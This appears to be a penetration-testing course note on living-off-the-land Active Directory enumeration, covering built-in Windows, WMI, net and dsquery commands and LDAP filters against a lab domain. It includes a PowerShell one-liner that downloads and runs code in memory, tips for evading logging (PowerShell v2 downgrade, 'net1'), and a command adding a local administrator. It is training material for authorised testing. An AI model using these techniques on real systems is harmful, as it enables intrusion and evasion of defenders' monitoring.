---
title: "11. Enumerating AD - Living off the Land"
date: 2024-09-20
draft: false
---

Assume: 
- Unable to upload tools on foothold or have an attack host inside environment
- Client has asked to test AD environment from a managed host without internet access
- Determine what types of enum are possible 

Resorting to 'living off the land'. This can also be more stealthy and may not create as many log entries / alerts as pulling tools into the network. 
Most enterprise environments modern days have network monitoring and logging including IDS/IPS firewalls, and passive sensors / tools on top of hostbased defenses like windefender or enterprise EDR. 
Depending on the environment, they may also have tools that take a baseline of normal network traffic and look for anomalies. 

Environment commands for host and network reconnaissance: 

| **Command**                                             | **Result**                                                                                 |
| ------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| `hostname`                                              | Prints the PC's Name                                                                       |
| `[System.Environment]::OSVersion.Version`               | Prints out the OS version and revision level                                               |
| `wmic qfe get Caption,Description,HotFixID,InstalledOn` | Prints the patches and hotfixes applied to the host                                        |
| `ipconfig /all`                                         | Prints out network adapter state and configurations                                        |
| `set`                                                   | Displays a list of environment variables for the current session (ran from CMD-prompt)     |
| `echo %USERDOMAIN%`                                     | Displays the domain name to which the host belongs (ran from CMD-prompt)                   |
| `echo %logonserver%`                                    | Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt) |
|                                                         |                                                                                            |
`systeminfo`  covers a lot of the above. 
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo

Powershell is also pivotal - it contains many built-in functions and modules we can use on an engagement to recon the host and network to send and receive files. 

`Get-Module` list available modules
`Get-ExecutionPolicy -List` print execution policy settings for each scope on a host. 
`Set-ExecutionPolicy Bypass -Scope Process` change policy for our current proc using -Scope; doing so will revert policy once we vacate the process - won't make a perm change
`Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt` - specified user's powershell history. 
`Get-ChildItem Env: | ft Key,Value` return env vars such as key paths, users, computer information, etc
`powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"` quick/easy way to download a file from the web using powershell and call it from memory. 

Many defenders are unaware that several versions of Powershell often exist on a host. If not uninstalled, they can still be used. Powershell event logging was introduced in 3.0 onward - so if we can use 2.0 or older, our actions from the shell are not logged in event viewer.

use `Get-Host` to determine the shell version and `powershell.exe -version 2` to downgrade. 
Checking for logs: `PowerShell Operational Log` found under `Applications and Services Logs > Microsoft > Windows > PowerShell > Operational`.
- Logs for our session are logged here.

The `Windows PowerShell` log located at `Applications and Services Logs > Windows PowerShell`

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.2
With `Script Block Logging` enabled (above) we can see whatever we type into the terminal gets sent to this log. When we downgrade to V2, this will no longer function correctly. 
Issuing the command itself `powershell.exe -version 2` within our original PS session will be logged, so evidence will be left behind. 

---
**Checking defenses**
We can use `netsh` and `sc` to see what windefender is setup like and the state of the firewall. 

```powershell
netsh advfirewall show allprofiles
```
CMD:
```cmd.exe
sc query windefend
-- checks if windef is running
```

Powershell cmdlet 
```bash
Get-MpComputerStatus
```
Antivirus information - knowing what revision of AV is running and what settings are enabled/disabled can greatly benefit us. 
We can see:
- How often scans are run
- If on-demand threat alerting is active
Defenders may think certain settings are enabled / scans are scheduled to run at certain intervals, and if thats not the case, it can be a finding to remediate. 

**Checking other users sessions**
If we land on a box and someone is logged in while you are mucking about, there's potential to be noticed, alarm bells rang, and you could be noticed. 
`qwinsta` can be used to check the status of who is logged in. 

---
**Networking information**

|**Networking Commands**|**Description**|
|---|---|
|`arp -a`|Lists all known hosts stored in the arp table.|
|`ipconfig /all`|Prints out adapter settings for the host. We can figure out the network segment from here.|
|`route print`|Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host.|
|`netsh advfirewall show state`|Displays the status of the host's firewall. We can determine if it is active and filtering traffic.|

arp and route are nice because they will show us what hosts the box we are on is aware of and what networks are known to the host. any networks that appear in teh routing table are potential avenues for lateral movement because they are accessed enough that a route was added or was administratively set so that the host knows how to access them. 

---
**Windows Management Instrumentation**
WMI is a scripting engine used widely within windows enterprise environments to retrieve information and run administrative tasks on local/remote hosts. For our use, we create a WMI report on domain users/groups/processes and other information from our host/other domain hosts. 

#### Quick WMI checks

| **Command**                                                                          | **Description**                                                                                        |
| ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |
| `wmic qfe get Caption,Description,HotFixID,InstalledOn`                              | Prints the patch level and description of the Hotfixes applied                                         |
| `wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List` | Displays basic host information to include any attributes within the list                              |
| `wmic process list /format:list`                                                     | A listing of all processes on host                                                                     |
| `wmic ntdomain list /format:list`                                                    | Displays information about the Domain and Domain Controllers                                           |
| `wmic useraccount list /format:list`                                                 | Displays information about all local accounts and any domain accounts that have logged into the device |
| `wmic group list /format:list`                                                       | Information about all local groups                                                                     |
| `wmic sysaccount list /format:list`                                                  | Dumps information about any system accounts that are being used as service accounts.                   |
```powershell-session
PS C:\htb> wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

Caption          Description      DnsForestName           DomainControllerAddress  DomainName
ACADEMY-EA-MS01  ACADEMY-EA-MS01
INLANEFREIGHT    INLANEFREIGHT    INLANEFREIGHT.LOCAL     \\172.16.5.5             INLANEFREIGHT
LOGISTICS        LOGISTICS        INLANEFREIGHT.LOCAL     \\172.16.5.240           LOGISTICS
FREIGHTLOGISTIC  FREIGHTLOGISTIC  FREIGHTLOGISTICS.LOCAL  \\172.16.5.238           FREIGHTLOGISTIC
```
https://docs.microsoft.com/en-us/windows/win32/wmisdk/using-wmi

---
`Net` commands
#### Table of Useful Net Commands

| **Command**                                     | **Description**                                                                                                              |
| ----------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `net accounts`                                  | Information about password requirements                                                                                      |
| `net accounts /domain`                          | Password and lockout policy                                                                                                  |
| `net group /domain`                             | Information about domain groups                                                                                              |
| `net group "Domain Admins" /domain`             | List users with domain admin privileges                                                                                      |
| `net group "domain computers" /domain`          | List of PCs connected to the domain                                                                                          |
| `net group "Domain Controllers" /domain`        | List PC accounts of domains controllers                                                                                      |
| `net group <domain_group_name> /domain`         | User that belongs to the group                                                                                               |
| `net groups /domain`                            | List of domain groups                                                                                                        |
| `net localgroup`                                | All available groups                                                                                                         |
| `net localgroup administrators /domain`         | List users that belong to the administrators group inside the domain (the group `Domain Admins` is included here by default) |
| `net localgroup Administrators`                 | Information about a group (admins)                                                                                           |
| `net localgroup administrators [username] /add` | Add user to administrators                                                                                                   |
| `net share`                                     | Check current shares                                                                                                         |
| `net user <ACCOUNT_NAME> /domain`               | Get information about a user within the domain                                                                               |
| `net user /domain`                              | List all users of the domain                                                                                                 |
| `net user %username%`                           | Information about the current user                                                                                           |
| `net use x: \computer\share`                    | Mount the share locally                                                                                                      |
| `net view`                                      | Get a list of computers                                                                                                      |
| `net view /all /domain[:domainname]`            | Shares on the domains                                                                                                        |
| `net view \computer /ALL`                       | List shares of a computer                                                                                                    |
| `net view /domain`                              | List of PCs of the domain                                                                                                    |

domain groups:
`net group /domain`

info about a domain user: 
`net user /domain wrouse`

if you believe network defenders are actively logging/looking for commands, you can try this workaround to using net commands: 
`net1` instead of `net` will execute the same functions without the potential trigger from the `net` string. 

---
DSquery
cmdline tool to find AD objects - same info found with bloodhound/powerview - dsquery is likely used by sysadmins 
`dsquery` will exist on any host with the `Active Directory Domain Services Role` installed, and the `dsquery` DLL exists on all modern Windows systems by default now and can be found at `C:\Windows\System32\dsquery.dll`.
```bash
dsquery user
```
- elevated privileges required, or cmd/ps from system context

```bash
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
wildcard search https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754232(v=ws.11)

we are also able to use dsquery + ldap search filters. the below looks for users with `PASSWD_NOTREQD` flag set in `userAccountControl` attribute: 
```bash
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
```

searching for domain controllers: 
```bash
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
```

```bash
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
```

```bash
Find the flag hidden in the description field of a disabled account with administrative privileges.

PS C:\Windows\system32> dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556
.1.4.803:=2))" -attr distinguishedName userAccountControl description

  distinguishedName                                                                                   userAccountControl    description
  CN=Betty Ross,OU=IT Admins,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL                    66050                 HTB{LD@P_I$_W1ld}
```

---
## LDAP queries and filtering explained: 
you'll notice the filter such as above:  `userAccountControl:1.2.840.113556.1.4.803:=8192` 
`userAccountControl:1.2.840.113556.1.4.803:` Specifies that we are looking at the [User Account Control (UAC) attributes](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties) for an object. 
This portion can change to include three different values we will explain below when searching for information in AD (also known as [Object Identifiers (OIDs)](https://ldap.com/ldap-oid-reference-guide/).  
- `=8192` represents the decimal bitmask we want to match in this search. 
- This decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute like `password is not required` or `account is locked` is set. 
- These values can compound and make multiple different bit entries.
![](/img/Pasted image 20240905200620.png|650)![](/img/Pasted image 20240905200832.png|770)

Logical operators
When building search strings, we can use some operators. `&, |, !` 
We can combine multiple criteria with & operator: 
https://learn.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax
`(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))`
above: set first criteria that object must be user, and combines it searching UAC bit value of 64 (Password Can't Change)
- users with this attribute set would match the filter

we can combine multiple attributes like `(&(1) (2) (3))`
`!` operator = NOT 
`|` operator = OR 

i.e. `(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))`
This would search for any user object that does `NOT` have the Password Can't Change attribute set. When thinking about users, groups, and other objects in AD, our ability to search with LDAP queries is pretty extensive.

